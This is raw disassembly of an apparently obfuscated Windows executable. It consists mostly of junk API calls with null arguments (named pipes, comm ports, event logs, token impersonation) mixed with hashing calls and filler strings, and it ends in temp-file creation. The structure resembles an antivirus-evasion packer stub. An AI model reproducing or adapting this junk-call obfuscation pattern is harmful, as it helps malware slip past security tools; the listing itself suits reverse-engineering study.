mov r8, qword [rsp + 0x50]
xor ecx, ecx
mov dword [rax], 0x5d459a16
mov rax, qword [0x004ca7b0]
mov edx, dword [rax]
mov rax, qword [0x004cab40]
mov dword [rax], edx
xor edx, edx
call r8
mov rax, qword [0x004cad10]
mov rdx, qword [0x004ca5c0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca430]
mov rdx, qword [0x004ca630]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cad60]
mov dword [rax], 0xc5218d8c
mov rax, qword [0x004ca2e0]
mov dword [rax], 0xee516f45
mov rax, qword [0x004cac90]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca9d0]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov r11, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Minima_dolorum_quibusdam_eligendi_voluptates_nam_porro_eos_mollitia_at_in_ut_veritatis
mov qword [rsp + 0x70], r11
call r11
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004ca740]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca500]
mov dword [rax], edx
mov rax, qword [rsp + 0x68]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call r15
mov ecx, 0xf6b425a3
call fcn.00414620
mov rdx, qword [0x004ca1e0]
xor ecx, ecx
mov dword [rdx], eax
call r14
xor edx, edx
xor ecx, ecx
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor r8d, r8d
xor edx, edx
xor r9d, r9d
xor ecx, ecx
call rbx
mov rax, qword [0x004ca380]
xor ecx, ecx
mov dword [rax], 0x558fb6ed
call rdi
mov rax, qword [0x004caf50]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca2b0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov r11, qword [rsp + 0x70]
xor edx, edx
lea rcx, str.Repellendus_quas_nihil_culpa
call r11
xor ecx, ecx
call r13
lea rcx, str.EsperanzaReynolds
call r12
mov rax, qword [0x004ca3a0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca4f0]
mov dword [rax], edx
call r13
mov rax, qword [0x004ca810]
mov ecx, 0x55d95c07
mov dword [rax], 0x4bce1dbc
call fcn.00414620
mov rbx, qword [0x004cad80]
xor edx, edx
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [0x004caac0]
mov dword [rax], 0xf440c165
mov rax, qword [0x004ca630]
mov dword [rax], 0xa41f986b
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call r14
mov rax, qword [0x004ca300]
mov dword [rax], 0x801b33fe
mov rax, qword [0x004caed0]
mov dword [rax], 0x4fbce644
mov rax, qword [0x004cac20]
mov ecx, dword [rax]
call fcn.00414620
mov rsi, qword [0x004cac90]
mov dword [rsi], eax
mov rax, qword [0x004cab60]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca790]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cae40]
mov dword [rax], 0x2f605c65
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca5c0]
mov dword [rax], 0x60f73d5d
mov rax, qword [0x004ca210]
mov dword [rax], 0xaf04708a
mov rax, qword [0x004caef0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cabe0]
xor ecx, ecx
mov dword [rdx], eax
call r13
lea rcx, str.MissConstanceZboncakII
mov rax, qword [rsp + 0x78]
call rax
xor ecx, ecx
call rdi
mov rax, qword [str.eNl.h_Q]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca360]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov rax, qword [0x004caf80]
lea rcx, str.AbdielJacobson
mov dword [rax], 0xa4f601be
call r12
xor ecx, ecx
call rbp
mov rax, qword [0x004ca630]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae90]
mov ecx, 0xccead441
mov dword [rdx], eax
call fcn.00414620
mov rbx, qword [0x004cad90]
xor edx, edx
xor ecx, ecx
mov dword [rbx], eax
mov rbx, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
call rbx
mov rax, qword [0x004ca7a0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7c0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca550]
mov edx, dword [rax]
mov rax, qword [0x004cabd0]
mov dword [rax], edx
mov rax, qword [rsp + 0x60]
call rax
mov ecx, 0x94b64ef1
call fcn.00414620
mov rsi, qword [0x004ca9d0]
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [0x004cad90]
mov rsi, qword [0x004ca6b0]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [rsp + 0x68]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov ecx, 0x6b1137c2
call fcn.00414620
mov rdx, qword [0x004ca460]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
xor ecx, ecx
call rdi
lea rdx, str.ErinKirlinSr
lea rcx, str.Fugit_quia_quia_et_optio_reprehenderit_rem
mov r10, qword [rsp + 0x80]
call r10
mov rax, qword [0x004cab00]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x2799dcca
mov dword [rsp + 0x20], 0
call r15
mov rax, qword [0x004cacb0]
mov dword [rsp + 0xd4], 0
cmp dword [rax], 0
je 0x41882a
mov r14, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Exercitationem_illum_quo_quia_ex_aut
call r14
mov rax, qword [0x004ca210]
mov r15, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.KelleyDouglas
lea rcx, str.MrsKatlynJaskolski
mov dword [rax], 0x3af176bc
call r15
mov ecx, 0x9ed63108
call fcn.00414620
mov rdx, qword [0x004cad80]
mov ecx, 0x4e0729b6
mov dword [rdx], eax
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov r11, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov rdx, qword [0x004cabc0]
mov qword [rsp + 0x78], r11
mov dword [rdx], eax
xor edx, edx
call r11
mov rax, qword [0x004caf50]
lea rcx, str.ProfMarcelinaHansenDVM
mov dword [rax], 0x77627c2b
call r14
mov rdi, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cabb0]
xor edx, edx
xor ecx, ecx
mov rbx, qword [0x004cabd0]
mov r12, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov dword [rax], 0x9e3e8aeb
mov rax, qword [0x004cae10]
mov dword [rbx], 0x22ccd58a
mov dword [rax], 0xaea168de
call r12
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004ca800]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad50]
mov rsi, qword [0x004ca5e0]
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_FindClose]
mov dword [rdx], eax
mov rax, qword [0x004ca3b0]
mov eax, dword [rax]
mov dword [rsi], eax
call r13
mov rax, qword [0x004caad0]
mov rbp, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
mov dword [rax], 0xef79ba7
mov rax, qword [0x004ca330]
mov edx, dword [rax]
mov rax, qword [0x004caa40]
mov dword [rax], edx
xor edx, edx
call rbp
mov rax, qword [0x004caa50]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa30]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rax, qword [0x004ca300]
mov dword [rax], 0xadb44d9
mov rax, qword [0x004ca1c0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca450]
mov dword [rdx], eax
mov rax, qword [0x004ca610]
mov dword [rax], 0xa6da1817
mov rax, qword [0x004caa60]
mov dword [rax], 0x15155ef7
mov rax, qword [0x004cad30]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cade0]
lea r8, str.RickeyCorkery
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov rax, qword [0x004ca380]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7f0]
mov dword [rdx], eax
mov rax, qword [0x004cac60]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab50]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
mov r12, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call r12
mov ecx, 0x678cb749
call fcn.00414620
mov rdx, qword [str.eNl.h_Q]
xor ecx, ecx
mov dword [rdx], eax
mov eax, dword [rsi]
mov dword [rbx], eax
mov rax, qword [0x004ca990]
mov dword [rax], 0x7f05a179
mov rax, qword [0x004ca740]
mov dword [rax], 0xf72d0b3
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [0x004caed0]
xor ecx, ecx
mov dword [rax], 0xd11e4a0
mov rax, qword [0x004cac80]
mov dword [rax], 0x7b299c19
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov qword [rsp + 0x60], rax
call rax
xor edx, edx
xor ecx, ecx
call rdi
mov ecx, 0x60aaa684
call fcn.00414620
mov rdx, qword [str.Z2iy]
mov dword [rdx], eax
mov rax, qword [0x004cad10]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca9e0]
mov rbx, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cadf0]
mov dword [rax], 0x4f8f88b6
call rbx
xor edx, edx
xor ecx, ecx
call rbp
mov rsi, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call rsi
xor ecx, ecx
call rbx
mov ecx, 0xacd14b4f
call fcn.00414620
mov rdx, qword [0x004ca2c0]
mov ecx, 0x29c11599
mov dword [rdx], eax
call fcn.00414620
mov r9, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rdx, qword [0x004ca5a0]
xor ecx, ecx
xor r8d, r8d
mov qword [rsp + 0x70], r9
mov dword [rdx], eax
xor edx, edx
call r9
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov ecx, 0x3939de8a
call fcn.00414620
mov rdx, qword [0x004caec0]
mov ecx, 0xc66f3c47
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cad30]
mov rbp, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.Ut_nulla_aut_assumenda_aut_eos_voluptatum
mov dword [rdx], eax
mov rax, qword [0x004ca400]
mov edx, dword [rax]
mov rax, qword [0x004ca370]
mov dword [rax], edx
xor edx, edx
call rbp
mov r10, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov qword [rsp + 0x68], r10
call r10
mov rax, qword [0x004ca7b0]
mov rdx, qword [0x004ca690]
mov ecx, 0xfa76442e
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00414620
xor r8d, r8d
mov r9, qword [rsp + 0x70]
xor ecx, ecx
mov rdx, qword [0x004ca280]
mov dword [rdx], eax
xor edx, edx
call r9
lea rdx, str.JaidenBednar
lea rcx, str.MelissaHessel
call r15
mov rax, qword [0x004ca690]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa30]
mov ecx, 0xd6137848
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca730]
mov ecx, 0x4b832776
mov dword [rdx], eax
mov rax, qword [0x004ca610]
mov rdx, qword [0x004caa80]
mov dword [rax], 0xf76d4d0d
mov rax, qword [0x004ca4e0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca7e0]
mov rdx, qword [0x004ca740]
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca2b0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca7f0]
mov rdx, qword [0x004caea0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca4d0]
mov rdx, qword [0x004ca3b0]
mov eax, dword [rax]
mov dword [rdx], eax
call r13
xor ecx, ecx
call rsi
xor ecx, ecx
call rbx
mov rax, qword [0x004cac00]
xor r9d, r9d
xor r8d, r8d
mov edx, dword [rax]
mov rax, qword [0x004caae0]
mov dword [rax], edx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov rax, qword [0x004caad0]
mov ecx, 0xed5b8d02
mov dword [rax], 0x46621de0
call fcn.00414620
mov r8, qword [0x004ca250]
mov rdx, qword [0x004caa70]
lea rcx, str.Quibusdam_earum_velit_alias_aut_ut
mov dword [rdx], eax
mov eax, dword [r8]
mov rdx, qword [0x004ca230]
mov dword [rdx], eax
call r14
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
call r13
mov rax, qword [0x004ca7d0]
mov ecx, dword [rax]
call fcn.00414620
mov r13, qword [0x004caf20]
xor ecx, ecx
mov dword [r13], eax
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov r8, qword [0x004ca250]
mov rax, qword [0x004ca390]
xor ecx, ecx
mov edx, dword [r8]
mov dword [rax], edx
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
call rdi
xor edx, edx
xor ecx, ecx
mov dword [r13], 0x351be828
call r12
mov rax, qword [0x004ca9a0]
xor ecx, ecx
mov dword [rax], 0xc07615ff
call rbx
mov ecx, 0x1b173a7b
call fcn.00414620
mov rdx, qword [0x004ca360]
mov r12, qword [0x004ca5c0]
mov dword [rdx], eax
mov rax, qword [0x004ca530]
mov dword [r12], 0x85c720df
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad60]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
mov ecx, 0x90ab8898
call fcn.00414620
mov rdx, qword [0x004caba0]
lea rcx, str.NevaStamm
mov dword [rdx], eax
mov rax, qword [0x004ca1b0]
mov edx, dword [rax]
mov rax, qword [0x004ca2f0]
mov dword [rax], edx
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rdx, str.CesarReichelI
lea rcx, str.Quam_quod_autem_esse_itaque
call r15
xor edx, edx
xor ecx, ecx
mov r13, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
call r13
mov rax, qword [0x004cab70]
mov rdi, qword [0x004ca650]
lea rcx, str.KarlKihnI
mov rdx, qword [0x004ca230]
mov eax, dword [rax]
mov dword [rdi], 0xf092fa0d
mov dword [r12], eax
mov rax, qword [0x004ca740]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call rbp
xor ecx, ecx
call rsi
mov rax, qword [0x004cae30]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca6b0]
mov dword [rax], edx
call rbx
mov rax, qword [0x004caec0]
xor ecx, ecx
mov dword [rax], 0x8fcad03d
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cab10]
xor edx, edx
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
call r13
xor edx, edx
lea rcx, str.Porro_repudiandae_accusantium_et_nesciunt_magnam_et_earum_ut_explicabo_occaecati
call rbp
mov r10, qword [rsp + 0x68]
xor ecx, ecx
call r10
mov r11, qword [rsp + 0x78]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r11
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x30], 0
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov rax, qword [0x004ca5f0]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004caa80]
mov ecx, 0x23dc19dd
mov dword [rbx], eax
mov rax, qword [0x004ca270]
mov dword [rax], 0x8460d4c9
call fcn.00414620
mov rbx, qword [0x004caea0]
mov dword [rbx], eax
mov rax, qword [0x004ca240]
mov dword [rax], 0x537b3e11
lea rdx, [rsp + 0x298]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x421a7c
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x39a3
jne 0x418da7
mov rax, qword [0x004ca600]
mov rsi, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Dolor_temporibus_sed_explicabo_molestiae_qui_quaerat_necessitatibus_ullam
mov dword [rax], 0xd913cd4a
mov rax, qword [0x004caa60]
mov dword [rax], 0x898f810
call rsi
lea rcx, str.Sint_iusto_eligendi_est_reiciendis_iure_ullam_nam_vel_facilis_omnis_veritatis_reprehenderit
call rsi
mov rax, qword [0x004cabd0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa00]
mov rbx, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov r14, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r14
mov rax, qword [0x004ca440]
mov r13, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cadb0]
mov dword [rax], edx
xor edx, edx
call r13
mov rax, qword [0x004caab0]
xor ecx, ecx
mov dword [rax], 0xea61c0c7
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov qword [rsp + 0x50], rax
call rax
xor ecx, ecx
call rbx
mov rax, qword [0x004ca230]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004cab00]
mov dword [rbx], eax
mov rax, qword [0x004cabf0]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca650]
mov rbx, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindClose]
xor edx, edx
lea rcx, str.Vel_expedita_labore_temporibus_laudantium_qui_et_ullam_aut_est
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov r11, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x60], r11
call r11
mov rax, qword [0x004caf20]
mov edx, dword [rax]
mov rax, qword [0x004caf50]
mov dword [rax], edx
mov rax, qword [0x004ca3c0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca410]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
mov rdi, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
call rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rax, qword [0x004ca460]
mov edx, dword [rax]
mov rax, qword [0x004ca6c0]
mov dword [rax], edx
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbx
mov rax, qword [0x004ca570]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca7b0]
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov rbp, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
call rbp
mov rax, qword [0x004caea0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca9c0]
mov r12, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor ecx, ecx
xor r8d, r8d
mov dword [rdx], eax
xor edx, edx
call r12
xor edx, edx
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_OpenEventA]
lea r8, str.KaitlinMiller
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rbx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov ecx, 0x8b9c106a
call fcn.00414620
mov rdx, qword [0x004caee0]
xor ecx, ecx
mov dword [rdx], eax
call r14
xor ecx, ecx
call rbp
xor ecx, ecx
call rbp
mov r10, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x58], r10
call r10
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004ca1b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca310]
lea rcx, str.Dignissimos_id_harum_qui
mov dword [rdx], eax
call rsi
mov rax, qword [0x004ca630]
lea rcx, str.CarletonKemmer
mov edx, dword [rax]
mov rax, qword [0x004ca430]
mov dword [rax], edx
lea rdx, str.Expedita_alias_et_ipsam_numquam_totam_qui_aut
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov ecx, 0xbcae1a73
call fcn.00414620
mov rdx, qword [0x004caec0]
lea rcx, str.Voluptas_eligendi_eum_eum_aut_est_ut
mov dword [rdx], eax
call rsi
mov rax, qword [0x004ca440]
mov rdx, qword [0x004caaf0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rdx, qword [0x004caae0]
mov ecx, dword [rdx]
mov rdx, qword [0x004caa10]
mov dword [rdx], ecx
mov rdx, qword [0x004ca9a0]
xor ecx, ecx
mov dword [rdx], eax
call rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov rax, qword [0x004ca210]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rax], 0xd88ae2e9
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbx
xor ecx, ecx
call r14
mov rax, qword [0x004cad50]
mov ecx, 0x60fba23f
mov edx, dword [rax]
mov rax, qword [0x004ca500]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca7c0]
lea rcx, str.Error_ut_doloribus_voluptas_expedita_eaque_delectus_facere_eius_nulla_qui_assumenda_ratione_iusto
mov dword [rdx], eax
mov rax, qword [0x004ca4a0]
mov dword [rax], 0xdbf16c3a
mov rax, qword [0x004caf40]
mov edx, dword [rax]
mov rax, qword [0x004ca1d0]
mov dword [rax], edx
call rsi
mov rax, qword [0x004ca990]
mov ecx, 0xe9011d08
mov dword [rax], 0x936b3392
call fcn.00414620
mov rdx, qword [0x004ca520]
mov dword [rdx], eax
mov rax, qword [0x004ca9a0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caad0]
mov dword [rdx], eax
mov rax, qword [0x004cadf0]
mov ecx, dword [rax]
call fcn.00414620
mov rsi, qword [0x004ca570]
xor edx, edx
xor ecx, ecx
mov dword [rsi], eax
call r13
mov ecx, 0x3e5ac93b
call fcn.00414620
mov rsi, qword [0x004cab00]
xor edx, edx
xor ecx, ecx
mov dword [rsi], eax
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rsi, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.CeciliaOsinski
call rsi
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rax, qword [0x004ca5e0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca230]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
mov rax, qword [0x004ca230]
mov r11, qword [rsp + 0x60]
xor ecx, ecx
mov dword [rax], 0x7b41a3a6
call r11
mov rax, qword [0x004ca3b0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x6f68170c
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rbx
mov rax, qword [0x004caf30]
mov rdi, qword [0x004caea0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004ca370]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca310]
mov r10, qword [rsp + 0x58]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x004cab00]
mov edx, dword [rax]
mov rax, qword [0x004caa70]
mov dword [rax], edx
xor edx, edx
call r10
lea rcx, str.DrDagmarMullerIII
call rsi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r12
lea r8, str.AmbroseOlsonII
xor edx, edx
xor ecx, ecx
call r15
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x30], 0
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x28], 0
call rbx
xor r8d, r8d
lea rcx, [rsp + 0x298]
lea r9, [rsp + 0x194]
lea rdx, str.DEMOBLABLA
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov dword [rsp + 0x80], eax
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x6f0f
jle 0x419732
mov rax, qword [0x004ca7e0]
mov rbx, qword [0x004ca420]
xor ecx, ecx
mov rdi, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov edx, dword [rax]
mov rax, qword [0x004ca6e0]
mov dword [rbx], 0xe746648e
mov dword [rax], edx
xor edx, edx
call rdi
mov r11, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov qword [rsp + 0x90], r11
call r11
mov rax, qword [0x004caa90]
mov ecx, dword [rax]
call fcn.00414620
mov r14, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rbx], eax
call r14
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x004ca7b0]
xor r9d, r9d
xor r8d, r8d
mov rbx, qword [0x004caea0]
mov rsi, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor edx, edx
xor ecx, ecx
mov eax, dword [rax]
mov dword [rbx], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rsi
mov rax, qword [0x004cadd0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca500]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004caec0]
mov rdx, qword [0x004ca800]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call rdi
mov rax, qword [0x004ca6f0]
mov r15, qword [0x004ca7a0]
mov edx, dword [rax]
mov rax, qword [0x004ca2c0]
mov ecx, dword [r15]
mov dword [rax], edx
mov rax, qword [0x004ca7d0]
mov dword [rax], 0x68a0a508
mov rax, qword [0x004cae20]
mov dword [rax], 0x6bc5295
call fcn.00414620
mov rdx, qword [0x004ca4a0]
mov rbp, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbp
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0x68], rax
call rax
mov r10, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rax, qword [0x004cad50]
xor ecx, ecx
mov qword [rsp + 0x88], r10
mov dword [rax], 0xb4404a85
call r10
mov ecx, dword [rbx]
call fcn.00414620
mov rdx, qword [0x004ca3c0]
mov rbx, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Ut_quam_rem_veritatis
mov dword [rdx], eax
call rbx
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov r13, qword [0x004ca5d0]
mov ecx, dword [r13]
call fcn.00414620
mov rdx, qword [0x004ca2a0]
mov r12, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.ElisabethSanford
mov dword [rdx], eax
mov rax, qword [0x004ca290]
mov edx, dword [rax]
mov rax, qword [0x004cab30]
mov dword [rax], edx
xor edx, edx
call r12
mov rax, qword [0x004ca1d0]
mov ecx, 0x22bc40c5
mov dword [rax], 0x4369f164
call fcn.00414620
